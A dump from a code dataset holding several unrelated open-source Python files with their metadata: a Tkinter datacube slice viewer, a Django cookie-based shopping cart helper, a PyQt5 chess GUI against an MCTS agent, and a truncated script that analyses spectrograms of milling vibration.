__self__.Footer.grid(row=1,column=0,columnspan=2,pady=6,padx=6,sticky=N+S+E+W)\n __self__.LeftCanvas.grid(row=0,column=0,sticky=N+S+E+W)\n __self__.RightCanvas.grid(row=0,column=1,sticky=N+S+E+W)\n __self__.BarL.grid(row=0,column=0,sticky=W+E)\n __self__.BarR.grid(row=0,column=1,sticky=W+E)\n\n ###########################################################\n __self__.FigureLeft = Figure(figsize=(5,4), dpi=75)\n __self__.PlotLeft = __self__.FigureLeft.add_subplot(111)\n __self__.PlotLeft.grid(which=\"both\",axis=\"both\")\n __self__.PlotLeft.axis(\"Off\")\n __self__.PlotCanvasL = FigureCanvasTkAgg(__self__.FigureLeft,__self__.LeftCanvas)\n __self__.PlotCanvasL.draw()\n __self__.mplCanvasL = __self__.PlotCanvasL.get_tk_widget()\n __self__.mplCanvasL.pack(fill=BOTH, anchor=N+W,expand=True)\n __self__.PlotCanvasL._tkcanvas.pack()\n ###########################################################\n __self__.FigureRight = Figure(figsize=(4,3), dpi=75)\n __self__.PlotRight = __self__.FigureRight.add_subplot(111)\n __self__.PlotRight.grid(which='both',axis='both')\n __self__.PlotRight.grid(color=\"gray\", ls=\"--\", lw=1)\n __self__.PlotRight.set_facecolor(\"white\")\n __self__.PlotRight.axis('On')\n __self__.PlotCanvasR = FigureCanvasTkAgg(__self__.FigureRight,__self__.RightCanvas)\n __self__.PlotCanvasR.draw()\n __self__.mplCanvasR = __self__.PlotCanvasR.get_tk_widget()\n __self__.mplCanvasR.pack(fill=BOTH, anchor=N+W,expand=True)\n __self__.PlotCanvasR._tkcanvas.pack()\n ###########################################################\n __self__.build_widgets()\n\n def build_widgets(__self__):\n icon = os.path.join(os.getcwd(),\"images\",\"icons\",\"adv.ico\")\n __self__.master.iconbitmap(icon)\n __self__.PlotRight.spines[\"top\"].set_linewidth(2)\n __self__.PlotRight.spines[\"bottom\"].set_linewidth(2)\n __self__.PlotRight.spines[\"left\"].set_linewidth(2)\n __self__.PlotRight.spines[\"right\"].set_linewidth(2)\n\n __self__.Slider = ttk.Scale(\n __self__.BarR,\n orient=\"horizontal\",\n from_=1,\n to=__self__.parent.DATACUBE.energyaxis.size,\n command=__self__.update_index)\n __self__.ValueDisplay = ttk.Label(__self__.BarR,\n text=\"Value\")\n __self__.PackImage = ttk.Button(__self__.BarL, text=\"Pack slice to Datacube\",\n command=__self__.save_to_datacube)\n __self__.DisplayImage = __self__.parent.DATACUBE.densitymap\n __self__.LeftImage = __self__.PlotLeft.imshow(\n __self__.DisplayImage,\n cmap=Constants.COLORMAP)\n __self__.PlotRight.plot(\n __self__.parent.DATACUBE.energyaxis,\n __self__.parent.DATACUBE.sum,\n label=\"Summation spec\",\n color=\"blue\")\n __self__.VerticalLine = __self__.PlotRight.axvline(\n x=0,\n color=\"tomato\",\n linewidth=2,\n label=\"Index\")\n\n __self__.Slider.grid(row=0,column=0,sticky=W+E,padx=(36,0))\n __self__.ValueDisplay.grid(row=0,column=1,sticky=W,padx=(12,0))\n __self__.PackImage.grid(row=0,column=0,sticky=W,padx=(12,0))\n __self__.PlotRight.set_xlim([\n __self__.parent.DATACUBE.energyaxis.min(),\n __self__.parent.DATACUBE.energyaxis.max()])\n __self__.PlotRight.set_ylabel(\"Counts\")\n __self__.PlotRight.set_xlabel(\"Energy (KeV)\")\n if Constants.PLOTSCALE == \"-semilogy\":\n __self__.PlotRight.set_yscale(\"log\")\n __self__.PlotRight.set_ylim([1,__self__.parent.DATACUBE.sum.max()*1.20])\n __self__.PlotRight.legend(\n fancybox=True,\n shadow=True,\n fontsize=12,\n framealpha=1,\n borderpad=1,\n loc=\"upper right\",\n facecolor=\"white\")\n Grid.rowconfigure(__self__.master, 0, weight=1)\n Grid.rowconfigure(__self__.LeftCanvas, 0, weight=1)\n Grid.rowconfigure(__self__.RightCanvas, 0, weight=1)\n Grid.columnconfigure(__self__.master, 0, weight=1)\n Grid.columnconfigure(__self__.master, 1, weight=2)\n Grid.columnconfigure(__self__.Footer, 0, weight=1)\n Grid.columnconfigure(__self__.Footer, 1, weight=1)\n Grid.columnconfigure(__self__.BarR, 0, weight=1)\n Grid.columnconfigure(__self__.BarR, 1, weight=0)\n Grid.columnconfigure(__self__.LeftCanvas, 0, weight=1)\n Grid.columnconfigure(__self__.RightCanvas, 0, weight=1)\n __self__.PlotCanvasR.draw()\n __self__.PlotCanvasL.draw()\n __self__.set_bg()\n __self__.master.after(100,__self__.master.attributes,\"-alpha\",1.0)\n\n def set_bg(__self__,colour=\"#3b3b38\"):\n __self__.LeftCanvas.config(bg=colour)\n __self__.RightCanvas.config(bg=colour)\n __self__.FigureLeft.set_facecolor(colour)\n __self__.FigureRight.set_facecolor(colour)\n if colour != \"white\":\n __self__.PlotRight.xaxis.label.set_color(\"white\")\n __self__.PlotRight.yaxis.label.set_color(\"white\")\n __self__.PlotRight.tick_params(axis=\"x\", colors=\"white\")\n __self__.PlotRight.tick_params(axis=\"y\", colors=\"white\")\n __self__.PlotRight.spines[\"top\"].set_color(\"white\")\n __self__.PlotRight.spines[\"bottom\"].set_color(\"white\")\n __self__.PlotRight.spines[\"left\"].set_color(\"white\")\n __self__.PlotRight.spines[\"right\"].set_color(\"white\")\n else:\n __self__.PlotRight.xaxis.label.set_color(\"black\")\n __self__.PlotRight.yaxis.label.set_color(\"black\")\n __self__.PlotRight.tick_params(axis=\"x\", colors=\"black\")\n __self__.PlotRight.tick_params(axis=\"y\", colors=\"black\")\n __self__.PlotRight.spines[\"top\"].set_color(\"black\")\n __self__.PlotRight.spines[\"bottom\"].set_color(\"black\")\n __self__.PlotRight.spines[\"left\"].set_color(\"black\")\n __self__.PlotRight.spines[\"right\"].set_color(\"black\")\n __self__.PlotCanvasL.draw()\n __self__.PlotCanvasR.draw()\n\n def save_to_datacube(__self__,e=\"\"):\n value = __self__.parent.DATACUBE.energyaxis[int(__self__.Slider.get())-1]\n __self__.parent.DATACUBE.pack_element(__self__.DisplayImage,\"Slice\",f\"{value:.2f}\")\n __self__.parent.packed_elements = __self__.parent.DATACUBE.check_packed_elements()\n if __self__.parent.nomaps:\n __self__.parent.nomaps = False\n __self__.parent.toggle_()\n __self__.parent.Map1Combo.set(__self__.parent.packed_elements[0])\n __self__.parent.Map2Combo.set(__self__.parent.packed_elements[0])\n __self__.parent.Map1Combo.configure(values=__self__.parent.packed_elements)\n __self__.parent.Map2Combo.configure(values=__self__.parent.packed_elements)\n __self__.parent.Map1Combo.update()\n __self__.parent.Map2Combo.update()\n __self__.parent.update_sample1()\n __self__.parent.update_sample2()\n __self__.parent.master.update()\n\n def update_index(__self__,e=\"\"):\n idx = int(__self__.Slider.get())-1\n value = __self__.parent.DATACUBE.energyaxis[idx]\n __self__.DisplayImage = __self__.parent.DATACUBE.matrix[:,:,idx].astype(np.float32)\n __self__.ValueDisplay.configure(text=f\"{value:.2f}\")\n __self__.VerticalLine.set_xdata(value)\n __self__.LeftImage.set_data(__self__.DisplayImage)\n __self__.LeftImage.set_clim(0,__self__.DisplayImage.max())\n __self__.PlotCanvasL.draw_idle()\n __self__.PlotCanvasR.draw_idle()\n \n def kill(__self__):\n del __self__.parent.IndexNavigator\n __self__.master.destroy()\n\n", "repo_name": "linssab/XISMuS", "sub_path": "GUI/IndexNavigator.py", "file_name": "IndexNavigator.py", "file_ext": "py", "file_size_in_byte": 9092, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "7", "api": [{"api_name": "matplotlib.use", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.style.use", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.style", "line_number": 18, "usage_type": "name"}, {"api_name": "tkinter.ttk.LabelFrame", "line_number": 33, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 33, "usage_type": "name"}, {"api_name": "tkinter.ttk.Frame", "line_number": 34, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 34, "usage_type": "name"}, {"api_name": "tkinter.ttk.Frame", "line_number": 35, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.figure.Figure", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.backends.backend_tkagg.FigureCanvasTkAgg", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.figure.Figure", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.backends.backend_tkagg.FigureCanvasTkAgg", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 68, "usage_type": "call"}, {"api_name": "tkinter.ttk.Scale", "line_number": 75, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 75, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 81, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 81, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 83, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 83, "usage_type": "name"}, {"api_name": "Constants.COLORMAP", "line_number": 88, "usage_type": "attribute"}, {"api_name": "Constants.PLOTSCALE", "line_number": 108, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 181, "usage_type": "attribute"}]} {"seq_id": "24829769755", "text": "import json\nfrom .models import Customer, Product, Order, OrderItem, ShippingAddress\n\ndef cookieCart(request):\n try:\n #Covertir el json en formato legible para python\n cart = json.loads(request.COOKIES['cart'])\n except:\n cart = {}\n print('Cart:', cart)\n\n items = []\n order = {\n 'get_cart_total':0,\n 'get_cart_items':0,\n 'shipping':False\n }\n \n cartItems = order['get_cart_items']\n\n #Recorrer el objeto cart\n for i in cart:\n try:\n cartItems += cart[i]['quantity']\n\n #Total de items y total price\n product = Product.objects.get(id = i)\n total = (product.price * cart[i]['quantity'])\n\n order['get_cart_total'] += total\n order['get_cart_items'] += cart[i]['quantity']\n\n #Elementos del carrito\n item = {\n 'product':{\n 'id':product.id,\n 'name':product.name,\n 'price':product.price,\n 'imageURL':product.imageURL,\n },\n 'quantity':cart[i]['quantity'],\n 'get_total':total\n }\n items.append(item)\n\n if product.digital == False:\n order['shipping'] = True\n except:\n pass\n return {'cartItems':cartItems, 'order':order, 'items':items}\n\n\ndef cartData(request):\n if request.user.is_authenticated:\n #obtener usuario autenticado\n customer = request.user.customer\n #consultar o crear el objeto\n order, created = Order.objects.get_or_create(customer = customer, complete=False)\n #obtener los elementos de esa orden\n items = order.orderitem_set.all()\n #obtener la cantidad de items\n cartItems = order.get_cart_items\n else:\n cookieData = cookieCart(request)\n cartItems = cookieData['cartItems']\n order = cookieData['order']\n items = cookieData['items']\n \n return{'cartItems':cartItems, 'order':order, 'items':items}\n\ndef guestOrder(request, data):\n\n print('User is not logged in...')\n print('COOKIE:', request.COOKIES)\n\n #Registro de cliente anonimo en la DB\n name = data['form']['name']\n email = data['form']['email']\n\n cookieData = cookieCart(request)\n items = cookieData['items']\n\n customer, created = Customer.objects.get_or_create(\n email = email,\n )\n customer.name = name\n customer.save()\n\n #Registro de la orden anonimo\n\n order = Order.objects.create(\n customer = customer,\n complete = False,\n )\n\n #Recorrer objeto items para corroborar que el producto selecciona corresponde al catalogo\n for item in items:\n product = Product.objects.get(id = item['product']['id'])\n\n orderItem = OrderItem.objects.create(\n product = product,\n order = order,\n quantity = item['quantity']\n )\n \n return customer, order", "repo_name": "devcodece/e30_2", "sub_path": "store/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 2980, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "json.loads", "line_number": 7, "usage_type": "call"}, {"api_name": "models.Product.objects.get", "line_number": 27, "usage_type": "call"}, {"api_name": "models.Product.objects", "line_number": 27, "usage_type": "attribute"}, {"api_name": "models.Product", "line_number": 27, "usage_type": "name"}, {"api_name": "models.Order.objects.get_or_create", "line_number": 58, "usage_type": "call"}, {"api_name": "models.Order.objects", "line_number": 58, "usage_type": "attribute"}, {"api_name": "models.Order", "line_number": 58, "usage_type": "name"}, {"api_name": "models.Customer.objects.get_or_create", "line_number": 83, "usage_type": "call"}, {"api_name": "models.Customer.objects", "line_number": 83, "usage_type": "attribute"}, {"api_name": "models.Customer", "line_number": 83, "usage_type": "name"}, {"api_name": "models.Order.objects.create", "line_number": 91, "usage_type": "call"}, {"api_name": "models.Order.objects", "line_number": 91, "usage_type": "attribute"}, {"api_name": "models.Order", "line_number": 91, "usage_type": "name"}, {"api_name": "models.Product.objects.get", "line_number": 98, "usage_type": "call"}, {"api_name": "models.Product.objects", "line_number": 98, "usage_type": "attribute"}, {"api_name": "models.Product", "line_number": 98, "usage_type": "name"}, {"api_name": "models.OrderItem.objects.create", "line_number": 100, "usage_type": "call"}, {"api_name": "models.OrderItem.objects", "line_number": 100, "usage_type": "attribute"}, {"api_name": "models.OrderItem", "line_number": 100, "usage_type": "name"}]} {"seq_id": "8078513145", "text": "\nfrom MCTS import MCTS\n# from othello.OthelloGame import OthelloGame\n# from othello.OthelloPlayers import *\n# from othello.pytorch.NNet import NNetWrapper as NNet\n\nfrom _chess.ChessGame import ChessGame\nfrom _chess.ChessPlayers import *\nfrom _chess.pytorch.NNet import NNetWrapper as NNet\n\nimport numpy as np\nfrom utils import *\n\n\"\"\"\nuse this script to play any two agents against each other, or play manually with\nany agent.\n\"\"\"\n\nhuman_vs_cpu = True\ncpu_vs_stockfish = False\n\n\ng = ChessGame(8)\n\n# all players\nrp = RandomPlayer(g).play\nhp = HumanChessPlayer(g).play\n\n\n# nnet players\nn1 = NNet(g)\n\nn1.load_checkpoint('./temp/', 'best.pth.tar')\n\nargs1 = dotdict({'numMCTSSims': 25, 'cpuct':1.0})\nmcts1 = MCTS(g, n1, args1)\nn1p = lambda x: np.argmax(mcts1.getActionProb(x, temp=0))\n\n\nif human_vs_cpu:\n player2 = hp\nelse:\n player2 = sp\n\n\n\n\n#############################\n\nimport logging\n\nfrom tqdm import tqdm\nfrom _chess.ChessGame import to_move, from_move\n\nimport chess\nimport chess.svg\nfrom PyQt5.QtCore import pyqtSignal, pyqtSlot, Qt\nfrom PyQt5.QtSvg import QSvgWidget\nfrom PyQt5.QtWidgets import QDialog, QWidget, QRadioButton, QPushButton, QButtonGroup, QGroupBox, QHBoxLayout, \\\n QVBoxLayout\nimport sys\n\nfrom PyQt5.QtWidgets import QApplication\n\n\nlog = logging.getLogger(__name__)\n\n\nclass ChessBoard(QWidget, chess.Board):\n \"\"\"\n BRIEF An interactive chessboard that only allows legal moves\n \"\"\"\n\n ReadyForNextMove = pyqtSignal(str)\n GameOver = pyqtSignal()\n\n def __init__(self, parent=None):\n \"\"\"\n BRIEF Initialize the chessboard\n \"\"\"\n super().__init__(parent)\n self.setWindowTitle(\"Chess\")\n\n self.board = chess.Board()\n\n self.svg_xy = 50 # top left x,y-pos of chessboard\n self.board_size = 600 # size of chessboard\n self.margin = 0.05 * self.board_size\n self.square_size = (self.board_size - 2 * self.margin) / 8.0\n wnd_wh = self.board_size + 2 * self.svg_xy\n\n self.setMinimumSize(wnd_wh, wnd_wh)\n self.svg_widget = QSvgWidget(parent=self)\n self.svg_widget.setGeometry(self.svg_xy, self.svg_xy, self.board_size, self.board_size)\n\n self.last_click = None\n self.DrawBoard()\n\n @pyqtSlot(QWidget)\n def mousePressEvent(self, event):\n \"\"\"\n BRIEF Update the board state based on user clicks\n If the state changes, update the svg widget\n \"\"\"\n if self.LeftClickedBoard(event):\n this_click = self.GetClicked(event)\n\n if self.last_click:\n if self.last_click != this_click:\n uci = self.last_click + this_click\n\n self.ApplyMove(uci + self.GetPromotion(uci))\n\n self.last_click = this_click\n\n def GetPromotion(self, uci):\n \"\"\"\n BRIEF Get the uci piece type the pawn will be promoted to\n \"\"\"\n if chess.Move.from_uci(uci + 'q') in self.legal_moves:\n dialog = PromotionDialog(self)\n if dialog.exec() == QDialog.Accepted:\n return dialog.SelectedPiece()\n return ''\n\n @pyqtSlot(str)\n def ApplyMove(self, uci):\n \"\"\"\n BRIEF Apply a move to the board\n \"\"\"\n move = chess.Move.from_uci(uci)\n if move in self.legal_moves:\n self.push(move)\n self.board.push(move)\n\n # self.board.turn = -2 * self.board.turn\n action = n1p(self.board.mirror())\n\n self.push(mirror_move(to_move(action)))\n self.board.push(mirror_move(to_move(action)))\n self.DrawBoard()\n\n print(self.fen())\n if not self.is_game_over():\n self.ReadyForNextMove.emit(self.fen())\n else:\n print(\"Game over!\")\n self.GameOver.emit()\n sys.stdout.flush()\n\n def DrawBoard(self):\n \"\"\"\n BRIEF Redraw the chessboard based on board state\n Highlight src and dest squares for last move\n Highlight king if in check\n \"\"\"\n self.svg_widget.load(self._repr_svg_().encode(\"utf-8\"))\n\n def GetClicked(self, event):\n \"\"\"\n BRIEF Get the algebraic notation for the clicked square\n \"\"\"\n top_left = self.svg_xy + self.margin\n file_i = int((event.x() - top_left) / self.square_size)\n rank_i = 7 - int((event.y() - top_left) / self.square_size)\n return chr(file_i + 97) + str(rank_i + 1)\n\n def LeftClickedBoard(self, event):\n \"\"\"\n BRIEF Check to see if they left-clicked on the chess board\n \"\"\"\n topleft = self.svg_xy + self.margin\n bottomright = self.board_size + self.svg_xy - self.margin\n return all([\n event.buttons() == Qt.LeftButton,\n topleft < event.x() < bottomright,\n topleft < event.y() < bottomright,\n ])\n\n\nclass PromotionDialog(QDialog):\n \"\"\"\n BRIEF A dialog used to decide what to promote a pawn to\n \"\"\"\n\n def __init__(self, parent=None):\n \"\"\"\n BRIF Initialize the dialog with buttons\n \"\"\"\n super().__init__(parent, Qt.WindowSystemMenuHint | Qt.WindowTitleHint)\n self.setWindowTitle(\"Promotion\")\n\n radio_q = QRadioButton(\"q\")\n radio_r = QRadioButton(\"r\")\n radio_b = QRadioButton(\"b\")\n radio_n = QRadioButton(\"n\")\n\n self.button_group = QButtonGroup()\n self.button_group.addButton(radio_q)\n self.button_group.addButton(radio_r)\n self.button_group.addButton(radio_b)\n self.button_group.addButton(radio_n)\n\n radio_q.setChecked(True)\n\n radio_h_layout = QHBoxLayout()\n radio_h_layout.addWidget(radio_q)\n radio_h_layout.addWidget(radio_r)\n radio_h_layout.addWidget(radio_b)\n radio_h_layout.addWidget(radio_n)\n\n group_box = QGroupBox()\n group_box.setLayout(radio_h_layout)\n\n ok_button = QPushButton(\"Ok\")\n cancel_button = QPushButton(\"Cancel\")\n\n ok_button.released.connect(self.accept)\n cancel_button.released.connect(self.reject)\n\n button_h_layout = QHBoxLayout()\n button_h_layout.addWidget(ok_button)\n button_h_layout.addWidget(cancel_button)\n\n v_layout = QVBoxLayout()\n v_layout.addWidget(group_box)\n v_layout.addLayout(button_h_layout)\n self.setLayout(v_layout)\n\n def SelectedPiece(self):\n \"\"\"\n BRIEF Get the uci piece type the user selected from the dialog\n \"\"\"\n return self.button_group.checkedButton().text()\n\n\n\nclass Arena():\n \"\"\"\n An Arena class where any 2 agents can be pit against each other.\n \"\"\"\n\n def __init__(self, player1, player2, game, display=None):\n \"\"\"\n Input:\n player 1,2: two functions that takes board as input, return action\n game: Game object\n display: a function that takes board as input and prints it (e.g.\n display in othello/OthelloGame). Is necessary for verbose\n mode.\n see othello/OthelloPlayers.py for an example. See pit.py for pitting\n human players/other baselines with each other.\n \"\"\"\n\n q_app = QApplication([])\n board = ChessBoard()\n board.show()\n\n q_app.exec()\n\n self.player1 = player1\n self.player2 = player2\n self.game = game\n self.display = display\n\n\n\nif __name__ == \"__main__\":\n arena = Arena(n1p, player2, g, display=ChessGame.display)\n\n", "repo_name": "Juravlik/chess_rl_ai", "sub_path": "pit_show.py", "file_name": "pit_show.py", "file_ext": "py", "file_size_in_byte": 7555, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "_chess.ChessGame.ChessGame", "line_number": 23, "usage_type": "call"}, {"api_name": "_chess.pytorch.NNet.NNetWrapper", "line_number": 31, "usage_type": "call"}, {"api_name": "MCTS.MCTS", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 37, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 66, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 69, "usage_type": "name"}, {"api_name": "chess.Board", "line_number": 69, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 74, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 75, "usage_type": "call"}, {"api_name": "chess.Board", "line_number": 84, "usage_type": "call"}, {"api_name": "PyQt5.QtSvg.QSvgWidget", "line_number": 93, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 99, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 99, "usage_type": "argument"}, {"api_name": "chess.Move.from_uci", "line_number": 120, "usage_type": "call"}, {"api_name": "chess.Move", "line_number": 120, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QDialog.Accepted", "line_number": 122, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QDialog", "line_number": 122, "usage_type": "name"}, {"api_name": "chess.Move.from_uci", "line_number": 131, "usage_type": "call"}, {"api_name": "chess.Move", "line_number": 131, "usage_type": "attribute"}, {"api_name": "_chess.ChessGame.to_move", "line_number": 139, "usage_type": "call"}, {"api_name": "_chess.ChessGame.to_move", "line_number": 140, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 149, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 149, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 126, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.LeftButton", "line_number": 175, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 175, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QDialog", "line_number": 181, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.WindowSystemMenuHint", "line_number": 190, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 190, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.WindowTitleHint", "line_number": 190, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QRadioButton", "line_number": 193, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QRadioButton", "line_number": 194, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QRadioButton", "line_number": 195, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QRadioButton", "line_number": 196, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QButtonGroup", "line_number": 198, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 206, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QGroupBox", "line_number": 212, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 215, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 216, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 221, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 225, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 255, "usage_type": "call"}, {"api_name": "_chess.ChessGame.ChessGame.display", "line_number": 269, "usage_type": "attribute"}, {"api_name": "_chess.ChessGame.ChessGame", "line_number": 269, "usage_type": "name"}]} {"seq_id": "43105756181", "text": "import math\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib import cm\r\nimport pickle\r\n\r\nfrom glob import glob\r\nfrom skimage.feature import canny\r\nfrom skimage.transform import probabilistic_hough_line\r\n\r\n\r\n\r\ndef process(V, plan, fileprefix):\r\n print(f'Processing V{V}...', flush=True)\r\n\r\n ##\r\n ## Read data\r\n ##\r\n plan_ = plan[plan[\"V\"] == V]\r\n n_teeth = 4\r\n fz = 0.08\r\n\r\n spsps = [plan_.iloc[0][\"n-GL\"], plan_.iloc[0][\"n-GGL\"], plan_.iloc[1][\"n-GL\"], plan_.iloc[1][\"n-GGL\"], plan_.iloc[2][\"n-GL\"], plan_.iloc[2][\"n-GGL\"]]\r\n ae = plan_.iloc[0][\"ae_end\"] - plan_.iloc[0][\"ae_start\"]\r\n wears = [plan_.iloc[0][\"Standweg\"], plan_.iloc[0][\"Standweg\"], plan_.iloc[1][\"Standweg\"], plan_.iloc[1][\"Standweg\"], plan_.iloc[2][\"Standweg\"], plan_.iloc[2][\"Standweg\"]]\r\n\r\n print(f'Spindle speeds: {spsps}')\r\n print(f'Rampe ae: {ae} mm')\r\n\r\n datafile = glob(f'{fileprefix}V{V}-*.npz')[0]\r\n print(f'Datafile: {datafile}')\r\n\r\n data = np.load(datafile)['data']\r\n dt = data[1,0] - data[0,0]\r\n fs = 1.0/dt\r\n duration = data.shape[0] * dt\r\n print(f'Sampling frequency: {fs} Hz')\r\n print(f'Duration: {duration} s')\r\n\r\n ##\r\n ## Calculate spectrogram\r\n ##\r\n fig, ax = plt.subplots()\r\n specs, freqs, times, _ = plt.specgram(data[:,1], NFFT=2*4096, noverlap=1*4096, Fs=fs)\r\n plt.ylim(0, 10000)\r\n\r\n dt_spec = times[1] - times[0]\r\n\r\n\r\n ##\r\n ## Detect six processes\r\n ##\r\n specs_ = specs[5:np.where(freqs > 1000)[0][0],:].copy()\r\n\r\n clip = np.median(np.max(specs_, axis=0))\r\n specs_[specs_ > clip] = clip\r\n specs_ /= np.max(specs_)\r\n specs_[specs_ < 0.2] = .0\r\n specs_ *= 255.0\r\n\r\n envelope = [0]\r\n for j in range(1, specs_.shape[1]-1):\r\n envelope.append(np.max(specs_[:2,j-1:j+1]))\r\n envelope = np.array(envelope)\r\n spindle_on = np.zeros_like(envelope)\r\n spindle_on[envelope > 180] = 1\r\n\r\n # plt.figure()\r\n # plt.imshow(specs_, origin=\"lower\", cmap=cm.gray)\r\n # plt.plot(spindle_on * 50)\r\n # plt.show()\r\n\r\n indices_up = np.where(np.diff(spindle_on) > 0)[0][::2]\r\n indices_down = np.where(np.diff(spindle_on) < 0)[0][1::2]\r\n if len(indices_down) == 5: # In case a measurement is too short\r\n indices_down = list(indices_down)\r\n indices_down.append(len(spindle_on))\r\n print(indices_up)\r\n print(indices_down)\r\n i_processes = indices_up\r\n i_processes += indices_down\r\n i_processes = i_processes // 2\r\n print(f'Detected processes: {i_processes}')\r\n\r\n result = []\r\n\r\n ##\r\n ## Evaluate stability limits\r\n ##\r\n # fig2, axs2 = plt.subplots(6, sharey=True)\r\n for i, (i_process, spsp) in enumerate(zip(i_processes, spsps)):\r\n vf = n_teeth * fz * spsp # mm/min\r\n print(f'Detecting process {i+1} at spindle speed {spsp} and vf {vf}...', flush=True)\r\n\r\n i_process -= 10\r\n i_freq = np.argmax(specs_[:,i_process])\r\n while specs_[i_freq+1,i_process] > 140:\r\n i_freq += 1\r\n row = specs_[i_freq,:]\r\n while row[i_process] > 50:\r\n i_process -= 1\r\n i_process += 1\r\n\r\n ax.axvline(times[i_process], 0, 1, c='r')\r\n\r\n process_dy = 35 + 10 + 6\r\n process_dx = process_dy * (ae / 35.0)\r\n process_length = np.sqrt(process_dx**2 + process_dy**2) if i%2 == 0 else process_dy\r\n process_duration = process_length / (vf / 60)\r\n print(f'Process duration: {process_duration} s')\r\n\r\n process_start_offset = 1.0\r\n if i % 2 == 0: # GL (Rampe)\r\n process_start_offset += process_duration * 10 / process_dy\r\n else:\r\n process_start_offset += process_duration * 6 / process_dy\r\n\r\n process_duration = process_duration * 35 / process_dy\r\n\r\n\r\n i_process_start = i_process + int(process_start_offset / dt_spec)\r\n i_process_end = i_process_start + int(process_duration / dt_spec)\r\n\r\n ax.axvline(times[i_process_start], 0, 1, c='k')\r\n ax.axvline(times[i_process_end], 0, 1, c='k')\r\n\r\n i_f0 = np.where(freqs > 2000)[0][0]\r\n i_f1 = np.where(freqs > 6000)[0][0]\r\n energy = np.sum(specs[i_f0:i_f1, i_process_start:i_process_end]**1.3, axis=0)\r\n aes = np.linspace(0, ae, len(energy))\r\n\r\n ae_lim = None\r\n\r\n i1 = np.where(energy > 0.001)[0]\r\n if len(i1) > 0:\r\n i1 = i1[0]\r\n i0 = i1 - 1\r\n alpha = (0.001 - energy[i0]) / (energy[i1] - energy[i0])\r\n ae0 = aes[i0]\r\n ae1 = aes[i1]\r\n ae_lim = ae0 + alpha * (ae1 - ae0)\r\n\r\n result.append([spsp, i % 2, ae, wears[i], ae_lim])\r\n # axs2[i].plot(aes, energy)\r\n # axs2[i].axhline(0.001,0,1,c='k')\r\n # if ae_lim:\r\n # axs2[i].axvline(ae_lim,0,1,c='k')\r\n\r\n\r\n\r\n\r\n # plt.show()\r\n # plt.close()\r\n return result\r\n\r\n\r\nif __name__ == '__main__':\r\n # plan = pd.read_excel('./Versuchsplan_WZ4.xlsx')\r\n # process(119, plan, './WZ4/Rampen/WZ4_')\r\n # exit(0)\r\n\r\n # data = []\r\n # plan = pd.read_excel('./Versuchsplan_WZ1.xlsx')\r\n # for i in range(101, 128):\r\n # data.extend(process(i, plan, './WZ1/Rampen/WZ1_'))\r\n # for i in range(201, 211):\r\n # data.extend(process(i, plan, './WZ1/Rampen/WZ1_'))\r\n # np.save('stabilitymap_WZ1.npy', np.array(data, dtype=np.float32))\r\n\r\n\r\n # data = []\r\n # plan = pd.read_excel('./Versuchsplan_WZ2.xlsx')\r\n # for i in range(101, 113):\r\n # 